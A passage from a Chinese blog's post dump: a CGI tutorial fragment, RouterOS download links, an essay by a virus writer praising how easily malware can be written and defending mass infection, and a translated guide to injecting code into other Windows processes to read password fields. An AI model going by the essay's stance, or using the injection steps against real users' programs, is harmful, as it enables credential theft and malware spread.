NAME=\u0026quot;radiol\u0026quot;VALUE=2＞ 3＜INPUT TYPE=\u0026quot;radio\u0026quot;NAME=\u0026quot;radiol\u0026quot;VALUE=3＞＜BR＞ OK Input:＜INPUT TYPE=\u0026quot;submit\u0026quot;VALUE=\u0026quot;OK\u0026quot;＞ ＜INPUT TYPE=\u0026quot;reset\u0026quot; VALUE=\u0026quot;reset\u0026quot;＞ ＜/FORM＞ ＜/BODY＞ ＜/HTML＞ 将上述标记存成HTML文件,该主页作好后,将其放在website设定的主目录中。然后用浏览器观看,将会看到结果。 其中FORM:说明一个交互式输入组合框。 ACTION:指定该FORM对应的CGI程序的URL。 INPUT:输入的形式,text为编辑框,radio为无线按钮等。 INPUT里的第一个参数TYPE表明输入的类型,第二个参数NAME表示该输入框代表的变量名。用户在此输入的信息将存在这个变量里。CGI程序也是通过这些变量提取用户输入信息。 3.CGI程序编写 前面我们说过,原则上CGI程序可以用任何语言编写,但在windows平台下,一般只有 C和VB是适合的。因为CGI程序是后台执行的back-end程序,C和VB都可以方便地生成无界面的 back-end程序。考虑到效率,我们用C语言来作CGI程序的编写。 Web server会通过Winexec来执行back-end,命令格式如下: back-end-exe cgi-data-file content-file outputfile url-args back-end-exe是CGI程序的完整路径,cgi-data-file是服务器产生的CGI资料文件,值为完整的路径:content-file是客户端发出的请求,其信息放在临时目录下的文件里,值为完整的路径;output-file是程序处理的结果,值为完整路径。url-args为URL中?后的参数。 服务器生成的临时输入文件在客户请求结束后即自动消失,所以CGI程序的第一步就是截取该文件,然后将所需的信息提取出来并过滤,最后得到的就是用户输入,然后对其作相应处理,如写入留言板或转交给数据库应用程序作查询处理。 值得一提的是VC和VB都提供了专用的从INI文件中提取信息的函数,即GetPrivateprofi leString()。 4、服务器应用程序 这一部分程序的功能就是对CGI转来的用户信息进行处理,处理的结果交给CGI程序的ou tput-file,通过CGI将其转交给用户。典型的服务器应用程序以数据库查询为代表。\u0026nbsp;\u0026nbsp;\u0026nbsp;\n","permalink":"https://hessian.cn/p/364.html","summary":"华中理工大学图像识别与人工智能研究所\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 龚建勇 实现WWW服务器与客户的交互可以有多种途径,如CGI、ISAPI、JAVA、ASP等,CGI是一种大家都比较熟悉的一种实现上述功能的有效途径,本文将就如何在Windows平台下实现CGI功能作一介绍。 ","title":"Windows操作平台下CGI的实现"},{"content":"闭上眼睛\u0026#8230;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 静静的听着Lisa Kelly 的 Carrickfergus .. 问自己\u0026nbsp;\u0026nbsp;\u0026nbsp; Where I\u0026#8217;m I?\nhttp://cop.flamesky.com/celtic/200704/4872.shtml\n","permalink":"https://hessian.cn/p/369.html","summary":"闭上眼睛\u0026#8230;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 静静的听着Lisa Kelly 的 Carrickfergus .. 问自己\u0026nbsp;\u0026nbsp;\u0026nbsp; Where I\u0026#8217;m I?\nhttp://cop.flamesky.com/celtic/200704/4872.shtml\n","title":"I'm searching for myself."},{"content":" http://jjlong.zx3721.com/ros/ros2.96.rar （教程一）\nhttp://jjlong.zx3721.com/ros/Mikrotik2.9.6详细教程.rar （教程二）\nhttp://jjlong.zx3721.com/ros/ghost版ros2.97.rar\nhttp://jjlong.zx3721.com/ros/firewall.rar 我用的防火墙也不知道是那个版本了网上传的版本太多了\nhttp://jjlong.zx3721.com/ros/VPNJX.rar 基于VPN连接方式的虚拟双线教程\nhttp://jjlong.zx3721.com/ros/子网计算器.rar \u0026nbsp;\u0026nbsp;子网计算器做ROS的时候算不到的用下这个试试。。\n自己的空间~\u0026nbsp;\u0026nbsp; 不可能不能下的。。如果顶的多还会更新的~ http://jjlong.zx3721.com/ros/RouterOS中文使用说明书.rar\nhttp://jjlong.zx3721.com/ros/RouterOS中文手册1.doc\nhttp://jjlong.zx3721.com/ros/RouterOS中文手册2.doc\nROShttp://jjlong.zx3721.com/ros/固定光纤IP+动态IPADSL实现双线负载.rar\nhttp://jjlong.zx3721.com/ros/防火墙脚本.exe\nhttp://jjlong.zx3721.com/ros/vpn的配置.exe\nhttp://jjlong.zx3721.com/ros/PPPoE服务器配置.exe\nhttp://jjlong.zx3721.com/ros/NAT配置.exe\nhttp://jjlong.zx3721.com/ros/DHCP设置.exe\n下面是几个ros版本\nhttp://jjlong.zx3721.com/ros/Mikrotik-2.9.6.iso.rar\nhttp://jjlong.zx3721.com/ros/mikrotik-2.9.26.iso.rar\nhttp://jjlong.zx3721.com/ros/mikrotik-2.9.27.iso.rar\nhttp://jjlong.zx3721.com/ros/mikrotik-2.9.7.iso.rar\nhttp://jjlong.zx3721.com/ros/mikrotik-2.8.18.iso.rar\n由于服务器问题ISO的文件不能下。。现在在ISO后加个RAR。下完后把RAR扩展名删了改成ISO。。抱歉。。\n感谢原来贴主的大公无私。\n原来的贴处： http://bbs.txwm.com/dispbbs.asp?BoardID=190\u0026amp;ID=529866\n","permalink":"https://hessian.cn/p/618.html","summary":" http://jjlong.zx3721.com/ros/ros2.96.rar （教程一）\nhttp://jjlong.zx3721.com/ros/Mikrotik2.9.6详细教程.rar （教程二）\nhttp://jjlong.zx3721.com/ros/ghost版ros2.97.rar\nhttp://jjlong.zx3721.com/ros/firewall.rar 我用的防火墙也不知道是那个版本了网上传的版本太多了\nhttp://jjlong.zx3721.com/ros/VPNJX.rar 基于VPN连接方式的虚拟双线教程\nhttp://jjlong.zx3721.com/ros/子网计算器.rar \u0026nbsp;\u0026nbsp;子网计算器做ROS的时候算不到的用下这个试试。。\n自己的空间~\u0026nbsp;\u0026nbsp; 不可能不能下的。。如果顶的多还会更新的~ http://jjlong.zx3721.com/ros/RouterOS中文使用说明书.rar\nhttp://jjlong.zx3721.com/ros/RouterOS中文手册1.doc\nhttp://jjlong.zx3721.com/ros/RouterOS中文手册2.doc\nROShttp://jjlong.zx3721.com/ros/固定光纤IP+动态IPADSL实现双线负载.rar\nhttp://jjlong.zx3721.com/ros/防火墙脚本.exe\nhttp://jjlong.zx3721.com/ros/vpn的配置.exe\nhttp://jjlong.zx3721.com/ros/PPPoE服务器配置.exe\nhttp://jjlong.zx3721.com/ros/NAT配置.exe\nhttp://jjlong.zx3721.com/ros/DHCP设置.exe\n下面是几个ros版本\nhttp://jjlong.zx3721.com/ros/Mikrotik-2.9.6.iso.rar\nhttp://jjlong.zx3721.com/ros/mikrotik-2.9.26.iso.rar\nhttp://jjlong.zx3721.com/ros/mikrotik-2.9.27.iso.rar\nhttp://jjlong.zx3721.com/ros/mikrotik-2.9.7.iso.rar\nhttp://jjlong.zx3721.com/ros/mikrotik-2.8.18.iso.rar\n由于服务器问题ISO的文件不能下。。现在在ISO后加个RAR。下完后把RAR扩展名删了改成ISO。。抱歉。。\n感谢原来贴主的大公无私。\n原来的贴处： http://bbs.txwm.com/dispbbs.asp?BoardID=190\u0026amp;ID=529866\n","title":"【转】RouterOS 下载地址 教程 资料"},{"content":"by Koms Bomb/CVC.GA 本文的目的，就是想说明写病毒其实是多么的容易。 一，病毒神话 我们先看看让大家“兴奋”、“激动”的病毒技术。 1，CIH，简直成了神话，CIH的作者也成为无数人的偶像。这神话，是AVer吹出来的，这偶像，只是中国人盲目崇拜的延续，外国人没这臭毛病。看看这个病毒里究竟有什么？1K多点的代码，再厉害能有什么？我觉得这个病毒唯一比较好的地方就是它的非常优化。这种优化，其实说白了也不难，只要稍微有些汇编编程经验，再加上一部指令手册（至少要有指令长度），再有足够的耐心，都可以做到。其它还有什么？进入Ring 0？早已有之，再说稍微懂些保护模式的人都知道利用GDT/IDT/LDT是可以进行特权转换的，常识问题。感染后文件大小不变？稍微了解PE格式的人都知道PE里有多少空地。使用VxD技术？Flash BIOS？只要能找到这些资料，有什么难的？VxD无非就是玩一些int 20h，Flash BIOS无非是写一些端口。调用中断，写端口，谁不会？但怎么调中断，写哪些端口，则需要知道相关的资料。我就写不出VxD为基础的病毒，我也不会Flash BIOS，因为我没有这方面的资料。 再看看时下“热门”的病毒技术。 2，跨平台病毒。跨Windows和Linux，同样是X86指令，有什么特殊的吗？基本上这种跨平台病毒，公用一部分变形之类的和OS无关的代码，而和OS有关的则是分开的。比如在Windows上就调用API，而在Linux上则用int 80h（没搞错中断号吧，我对Linux没什么研究）。其实就相当于两个病毒的合并。只要有了相关系统调用的资料，这种病毒显然很容易。其实写出针对不同CPU的病毒也不难，只要针对不同的文件感染不同的代码，然后把另外OS或CPU的代码做为数据不执行就行。顺便说一句，跨平台有什么用？有几个Linux机器上有PE文件的？又有几个Windows上有ELF文件的？ 3，.net病毒。有什么新鲜吗？Java不是也有病毒吗？只要掌握MSIL汇编，写一个真正的.net病毒并不难。值得一提的是前一阵炒得火热的两个.net病毒其实根本难登大雅之堂。29A的那个是用X86汇编写的，稍微有点头脑的都知道，.net是架构在MSIL上的，是一种中间语言，X86汇编根本就和.net无关。我没仔细看这个病毒的代码，但我估计无非是对EPE格式有一些不同于PE的操作，总体来说，还是PE病毒。那个“17岁天才少女”的C#病毒，算是.net病毒吧，但值得一吹吗？你，说的就是你，去看看C#语法，再略微看一些.net framework，相信你也可以用C#写出一个可以把自己通过邮件发出去的程序，这就是时髦的.net病毒。 4，metamorphism。简直被AVer吹上天了。这东西说白了其实就是对自身代码进行重新编码。过程是，反汇编自己的代码，重新改写（比如mov eax,esi可以写成push esi;pop eax等等），插入垃圾代码。当然最好还要在下一代中删除垃圾代码。怎样判断垃圾代码？显然看到一条指令的目的操作数在以后没有被当作源操作数，就可以认为是垃圾。这东西玩弄的是机器代码技巧，只要在手边摆一部Intel的指令手册，再加上足够的耐心，想对代码重新编码，不难。但写这东西确实很繁琐，可以说是非常繁琐，写出的代码也很大，没有实用价值。以后有空我可能会重新考虑一个semi-metamorphism，也不难，但力求小，如果engine超过8K，我将放弃。 二，病毒的本质 大家之所以觉得病毒神秘，其实主要是因为大家没有对病毒没有了解，AVer又在大肆鼓吹（这种现象在中国尤为严重）。病毒到底是什么？ 病毒是一段程序，它与普通程序的不同是它会复制自己，这是最主要的不同。复制有很多方法，直接copy，通过网络，插入别的可执行文件内部，等等，但这些方法的实现也是一段程序，并无特殊之处。 其实写病毒和写普通程序一样，不需要太高的智商。我为什么这么说？编程只是技术，这种技术所需要的基础知识是很浅的，可以说是非常浅，而且没有阶梯性。如果你要做物理学家，则一定要先学会中学物理，否则你就学不会大学物理。但如果你要做汇编程序员（听起来很高深的样子），你不必先学Basic，再学Pascal和C，最后学汇编，你完全可以从一开始就学汇编，完全没有问题。很多人以自己了解系统核心而自称高手，但这哪里高了？可能他花了三个月发现的一个系统核心的秘密，只是M$的一个程序员用一个小时写出来的。这一点也造就了很多“天才少年/少女”的神话，十几岁的小孩可以写出很好的程序或者病毒，让大家觉得真是天才。其实我敢肯定一个10岁的小孩对编程知识的理解能力不会比我差，甚至可能因为年龄小记忆力好而比我强，大家认为我智商有问题？也许吧，但小孩一样比你强。中国人对电脑界的“天才少年”总是津津乐道，其实只是愚蠢无知的表现。编程不需要智商，但需要资料，如果你不掌握一定数量的Win32 API，你很难写出像样的Win32程序。其实程序这东西还和物质力量有关，为什么外国有很多编程方面的“天才少年”？因为他们智商高？显然不是，中国人的智商至少不输于西洋人。主要是因为他们比较富裕，可以很早就接触电脑，并且有钱上网，上网当然可以获得许多有用的资料。靠，说到这里我不得不发牢骚，我正式开始能够经常接触电脑还是在2000年大学毕业以后。我在十几岁的时候，买本书都没钱，更别提电脑了，现在平时在家还是拿猫上网。 我说了这么多，其实一个结论就是，写病毒和写普通程序一样，不需要智商（当然智商也不能太低，如果智商低于80，除非真的是另类天才，否则还是别玩程序的好），但需要资料，这间接的需要物质力量。 所以说，病毒并不神秘，一点都不神秘，而且不难，可以说是相当简单，因为他们通常很小，最大也就几十K。我现在逐渐明白，哪怕是用Delphi这样易用的工具，开发大型程序，也是比较复杂比较困难的事，要有完善的设想，科学的模块划分，等等。 病毒虽然简单，但也有很好玩的地方，因为它的本质就是复制隐藏自己。如何更快的复制传播自己，如何隐蔽自己使得用户不容易发现病毒的踪影，是我的主要研究目标。这种目标显然违背了某些卫道士的“XX精神”（他们鼓吹的是黑客精神，但我不会黑，只会毒，是毒客而不是黑客），但这正是病毒的本质，如果脱离这些本质，那病毒也就不称之为病毒，而且也没必要研究病毒，有那精力不如做点应用软件。这种卫道士，鼓吹的是那种研究“新”、“高深”技术来写病毒的人，这样的病毒也就是AVer说的“学术病毒”、“概念病毒”。但这种病毒有什么用？除了给AVer吹牛的机会以外，没什么用。除了CIH以外，我上面说的基本都是这种病毒。大家可以看看，哪里有新技术？哪里有高深技术？ 值得注意的是网上颇为流行江海客的那篇老文章“后英雄时代的AVER与VXER”，而且许多人都认为“受益菲浅”，为了不误导大家，我还是说两句。这篇文章总体来说就是在胡说八道。“AV企业的一般工程师，玩起softice的手法，远没有cracker熟练”？我确实不知道AVer是不是熟悉SI，但这句话有两个大问题，1），玩SI熟练就能代表水平？那好，我从现在开始天天玩SI，一个月后精通SI的各个功能，那我是不是成大师了？这简直是不合人类逻辑。 2），研究病毒一定要用SI？我调试病毒主要用VC，SI只是辅助，非常方便。“想象反病毒公司那些呆头呆脑的样本分析工程师，“**，原来病毒也可以这样编” 的惊呼，然后心情紧张的把样本交给公司中的前辈高人寻求指点他们已经心满意足。”更是胡说八道，有谁相信Symantec的在Nimda，Klez，BugBear爆发几个小时内就拿出解决方案的工程师是呆头呆脑的？”而是用了类似社交工程或者心理学一类的方法“，”当然，那些资深的VXER对此是不耻的，他们从不以自己的病毒传播如何广泛为荣誉，这些人的品性有些类似老牌黑客的绅士风范，这些人中确实也有我很欣赏的“，不是每个人都能做出成功的social engine的，好的S/E会得到全世界人的赞叹（套用卫道士的话，全世界人惊呼，”**，这他都能想得到“），一个人只要有耐心，可以对系统核心钻研很深，这没什么神秘，但好的S/E却需要灵光闪现。不能广泛传播的病毒显然不是好的病毒，无论它的技术如何高超（而且基本如我所说，并没有什么高超的技术），而且病毒和黑客不一样，黑客黑网站，真正有道德的不应该搞破坏，但他有能力可以破上10000个网站。有道德的病毒也不应该搞破坏，但有能力的病毒可以感染1000万台机器，这没什么不对，这是病毒应该做的，当然有能力感染不一定真的感染，不一定真的释放出去，但验证感染能力通常需要实战。还有就是他也是我说的那种卫道士，鼓吹那种黑客精神，其实如果大家都遵循他那种精神，那么结局就是大家整天都在研究不切实际的技术，根本就没有实用品出来。总体说，一个不懂得病毒本质，对病毒没有很深了解，没有写过病毒的人，不配写这种文章。 我一直对知道现在还在奉CIH和其它病毒为神明的无知之人感到气愤，在中国这种人太多了，所以就写了这篇文章，因为气愤，所以言语有不当之处，还望大家见谅，如果你对我感到气愤，可以理论，但不要骂人。 欢迎转载，请注明 by Koms Bomb/CVC.GA。 又：我发现深圳之窗网站曾从CSDN转了我的一篇文章，但去掉了所有作者信息，我给他们发信叫他们改正，也没有回音。这种行为是极度卑鄙无耻的，如果引起众怒将会玩火自焚！ ","permalink":"https://hessian.cn/p/609.html","summary":"by Koms Bomb/CVC.GA 本文的目的，就是想说明写病毒其实是多么的容易。 一，病毒神话 我们先看看让大家“兴奋”、“激动”的病毒技术。 1，CIH，简直成了神话，CIH的作者也成为无数人的偶像。这神话，是AVer吹出来的，这偶像，只是中国人盲目崇拜的延续，外国人没这臭毛病。看看这个病毒里究竟有什么？1K多点的代码，再厉害能有什么？我觉得这个病毒唯一比较好的地方就是它的非常优化。这种优化，其实说白了也不难，只要稍微有些汇编编程经验，再加上一部指令手册（至少要有指令长度），再有足够的耐心，都可以做到。其它还有什么？进入Ring 0？早已有之，再说稍微懂些保护模式的人都知道利用GDT/IDT/LDT是可以进行特权转换的，常识问题。感染后文件大小不变？稍微了解PE格式的人都知道PE里有多少空地。使用VxD技术？Flash BIOS？只要能找到这些资料，有什么难的？VxD无非就是玩一些int 20h，Flash BIOS无非是写一些端口。调用中断，写端口，谁不会？但怎么调中断，写哪些端口，则需要知道相关的资料。我就写不出VxD为基础的病毒，我也不会Flash BIOS，因为我没有这方面的资料。 再看看时下“热门”的病毒技术。 2，跨平台病毒。跨Windows和Linux，同样是X86指令，有什么特殊的吗？基本上这种跨平台病毒，公用一部分变形之类的和OS无关的代码，而和OS有关的则是分开的。比如在Windows上就调用API，而在Linux上则用int 80h（没搞错中断号吧，我对Linux没什么研究）。其实就相当于两个病毒的合并。只要有了相关系统调用的资料，这种病毒显然很容易。其实写出针对不同CPU的病毒也不难，只要针对不同的文件感染不同的代码，然后把另外OS或CPU的代码做为数据不执行就行。顺便说一句，跨平台有什么用？有几个Linux机器上有PE文件的？又有几个Windows上有ELF文件的？ 3，.net病毒。有什么新鲜吗？Java不是也有病毒吗？只要掌握MSIL汇编，写一个真正的.net病毒并不难。值得一提的是前一阵炒得火热的两个.net病毒其实根本难登大雅之堂。29A的那个是用X86汇编写的，稍微有点头脑的都知道，.net是架构在MSIL上的，是一种中间语言，X86汇编根本就和.net无关。我没仔细看这个病毒的代码，但我估计无非是对EPE格式有一些不同于PE的操作，总体来说，还是PE病毒。那个“17岁天才少女”的C#病毒，算是.net病毒吧，但值得一吹吗？你，说的就是你，去看看C#语法，再略微看一些.net framework，相信你也可以用C#写出一个可以把自己通过邮件发出去的程序，这就是时髦的.net病毒。 4，metamorphism。简直被AVer吹上天了。这东西说白了其实就是对自身代码进行重新编码。过程是，反汇编自己的代码，重新改写（比如mov eax,esi可以写成push esi;pop eax等等），插入垃圾代码。当然最好还要在下一代中删除垃圾代码。怎样判断垃圾代码？显然看到一条指令的目的操作数在以后没有被当作源操作数，就可以认为是垃圾。这东西玩弄的是机器代码技巧，只要在手边摆一部Intel的指令手册，再加上足够的耐心，想对代码重新编码，不难。但写这东西确实很繁琐，可以说是非常繁琐，写出的代码也很大，没有实用价值。以后有空我可能会重新考虑一个semi-metamorphism，也不难，但力求小，如果engine超过8K，我将放弃。 ","title":"病毒的本质"},{"content":"\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 本文章翻译自Robet Kuster的Three Ways to Inject Your Code into Another Process一文，原版地址见下面。本文章版权归原作者所有。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果转载该译文,请保证文章的完整性，并注明来自www.farproc.com\n袁晓辉\u0026nbsp;\u0026nbsp;\u0026nbsp;\n2005/5/20\n原版地址：http://www.codeproject.com/threads/winspy.asp?df=100\u0026amp;forumid=16291\u0026amp;select=1025152\u0026amp;msg=1025152\n下载整个压缩包\n下载WinSpy\n作者：Robert Kuster\n翻译：袁晓辉 (www.farproc.com\u0026nbsp;\u0026nbsp;hyzs@sina.com)\n摘要：如何向其他线程的地址空间中注入代码并在这个线程的上下文中执行之。\n目录：\n●导言\n●Windows 钩子（Hooks）\n●CreateRemoteThread 和LoadLibrary 技术\n○进程间通讯\n●CreateRemoteThread 和 WriteProcessmemory 技术\n○如何使用该技术子类（SubClass）其他进程中的控件\n○什么情况下适合使用该技术\n●写在最后的话\n●附录\n●参考\n●文章历史\n导言：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 我们在Code project（www.codeproject.com）上可以找到许多密码间谍程序（译者注：那些可以看到别的程序中密码框内容的软件），他们都依赖于Windows钩子技术。要实现这个还有其他的方法吗？有！但是，首先，让我们简单回顾一下我们要实现的目标，以便你能弄清楚我在说什么。\n要读取一个控件的内容，不管它是否属于你自己的程序，一般来说需要发送 WM_GETTEXT 消息到那个控件。这对edit控件也有效，但是有一种情况例外。如果这个edit控件属于其他进程并且具有 ES_PASSWORD 风格的话，这种方法就不会成功。只有“拥有（OWNS）”这个密码控件的进程才可以用 WM_GETTEXT 取得它的内容。所以，我们的问题就是：如何让下面这句代码在其他进程的地址空间中运行起来：\n::SendMessage( hPwdEdit, WM_GETTEXT, nMaxChars, psBuffer );\n一般来说，这个问题有三种可能的解决方案：\n1. 把你的代码放到一个DLL中；然后用 windows 钩子把它映射到远程进程。\n2. 把你的代码放到一个DLL中；然后用 CreateRemoteThread 和 LoadLibrary 把它映射到远程进程。\n3. 不用DLL，直接复制你的代码到远程进程（使用WriteProcessMemory）并且用CreateRemoteThread执行之。在这里有详细的说明：\nⅠ. Windows 钩子\n示例程序：HookSpy 和 HookInjEx\nWindows钩子的主要作用就是监视某个线程的消息流动。一般可分为：\n1． 局部钩子，只监视你自己进程中某个线程的消息流动。\n2． 远程钩子，又可以分为：\na． 特定线程的，监视别的进程中某个线程的消息；\nb． 系统级的，监视整个系统中正在运行的所有线程的消息。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果被挂钩（监视）的线程属于别的进程（情况2a和2b），你的钩子过程（hook procedure）必须放在一个动态连接库（DLL）中。系统把这包含了钩子过程的DLL映射到被挂钩的线程的地址空间。Windows会映射整个DLL而不仅仅是你的钩子过程。这就是为什么windows钩子可以用来向其他线程的地址空间注入代码的原因了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 在这里我不想深入讨论钩子的问题（请看MSDN中对SetWindowsHookEx的说明），让我再告诉你两个文档中找不到的诀窍，可能会有用：\n1． 当SetWindowHookEx调用成功后，系统会自动映射这个DLL到被挂钩的线程，但并不是立即映射。因为所有的Windows钩子都是基于消息的，直到一个适当的事件发生后这个DLL才被映射。比如：\n如果你安装了一个监视所有未排队的（nonqueued）的消息的钩子（WH_CALLWNDPROC），只有一个消息发送到被挂钩线程（的某个窗口）后这个DLL才被映射。也就是说，如果在消息发送到被挂钩线程之前调用了UnhookWindowsHookEx那么这个DLL就永远不会被映射到该线程（虽然SetWindowsHookEx调用成功了）。为了强制映射，可以在调用SetWindowsHookEx后立即发送一个适当的消息到那个线程。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 同理，调用UnhookWindowsHookEx之后，只有特定的事件发生后DLL才真正地从被挂钩线程卸载。\n2． 当你安装了钩子后，系统的性能会受到影响（特别是系统级的钩子）。然而如果你只是使用的特定线程的钩子来映射DLL而且不截获如何消息的话，这个缺陷也可以轻易地避免。看一下下面的代码片段：\nBOOL APIENTRY DllMain( HANDLE hModule,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; DWORD\u0026nbsp;\u0026nbsp; ul_reason_for_call,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; LPVOID lpReserved )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if( ul_reason_for_call == DLL_PROCESS_ATTACH )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //用 LoadLibrary增加引用次数\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; char lib_name[MAX_PATH]; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ::GetModuleFileName( hModule, lib_name, MAX_PATH );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ::LoadLibrary( lib_name );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 安全卸载钩子\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ::UnhookWindowsHookEx( g_hHook );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return TRUE;\n}\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 我们来看一下。首先，我们用钩子映射这个DLL到远程线程，然后，在DLL被真正映射进去后，我们立即卸载挂钩（unhook）。一般来说当第一个消息到达被挂钩线程后，这DLL会被卸载，然而我们通过LoadLibrary来增加这个DLL的引用次数，避免了DLL被卸载。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 剩下的问题是：使用完毕后如何卸载这个DLL？UnhookWindowsHookEx不行了，因为我们已经对那个线程取消挂钩（unhook）了。你可以这么做：\n○在你想要卸载这个DLL之前再安装一个钩子；\n○发送一个“特殊”的消息到远程线程；\n○在你的新钩子的钩子过程（hook procedure）中截获该消息，调用FreeLibrary 和 （译者注：对新钩子调用）UnhookwindowsHookEx。\n现在，钩子只在映射DLL到远程进程和从远程进程卸载DLL时使用，对被挂钩线程的性能没有影响。也就是说，我们找到了一种（相比第二部分讨论的LoadLibrary技术）WinNT和Win9x下都可以使用的，不影响目的进程性能的DLL映射机制。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 但是，我们应该在何种情况下使用该技巧呢？通常是在DLL需要在远程进程中驻留较长时间（比如你要子类[subclass]另一个进程中的控件）并且你不想过于干涉目的进程时比较适合使用这种技巧。我在HookSpy中并没有使用它，因为那个DLL只是短暂地注入一段时间――只要能取得密码就足够了。我在另一个例子HookInjEx中演示了这种方法。HookInjEx把一个DLL映射进“explorer.exe”（当然，最后又从其中卸载），子类了其中的开始按钮，更确切地说我是把开始按钮的鼠标左右键点击事件颠倒了一下。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 你可以在本文章的开头部分找到HookSpy和HookInjEx及其源代码的下载包链接。\nⅡ. CreateRemoteThread 和 LoadLibrary 技术\n示例程序：LibSpy\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 通常，任何进程都可以通过LoadLibrary动态地加载DLL，但是我们如何强制一个外部进程调用该函数呢？答案是CreateRemoteThread。\n让我们先来看看LoadLibrary和FreeLibrary的函数声明：\nHINSTANCE LoadLibrary(\n\u0026nbsp;\u0026nbsp; LPCTSTR lpLibFileName\u0026nbsp;\u0026nbsp;\u0026nbsp; // address of filename of library module\n);\nBOOL FreeLibrary(\n\u0026nbsp;\u0026nbsp; HMODULE hLibModule\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // handle to loaded library module\n);\n再和CreateRemoteThread的线程过程（thread procedure）ThreadProc比较一下：\nDWORD WINAPI ThreadProc(\n\u0026nbsp;\u0026nbsp; LPVOID lpParameter\u0026nbsp;\u0026nbsp;\u0026nbsp; // thread data\n);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 你会发现所有的函数都有同样的调用约定（calling convention）、都接受一个32位的参数并且返回值类型的大小也一样。也就是说，我们可以把LoadLibrary/FreeLibrary的指针作为参数传递给CrateRemoteThread。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 然而，还有两个问题（参考下面对CreateRemoteThread的说明）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1． 传递给ThreadProc的lpStartAddress 参数必须为远程进程中的线程过程的起始地址。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2． 如果把ThreadProc的lpParameter参数当做一个普通的32位整数（FreeLibrary把它当做HMODULE）那么没有如何问题，但是如果把它当做一个指针（LoadLibrary把它当做一个char*），它就必须指向远程进程中的内存数据。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 第一个问题其实已经迎刃而解了，因为LoadLibrary和FreeLibrary都是存在于kernel32.dll中的函数，而kernel32可以保证任何“正常”进程中都存在，且其加载地址都是一样的。（参看附录A）于是LoadLibrary/FreeLibrary在任何进程中的地址都是一样的，这就保证了传递给远程进程的指针是个有效的指针。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 第二个问题也很简单：把DLL的文件名（LodLibrary的参数）用WriteProcessMemory复制到远程进程。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 所以，使用CreateRemoteThread和LoadLibrary技术的步骤如下：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1． 得到远程进程的HANDLE（使用OpenProcess）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2． 在远程进程中为DLL文件名分配内存（VirtualAllocEx）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3． 把DLL的文件名（全路径）写到分配的内存中（WriteProcessMemory）\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 4． 使用CreateRemoteThread和LoadLibrary把你的DLL映射近远程进程。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 5． 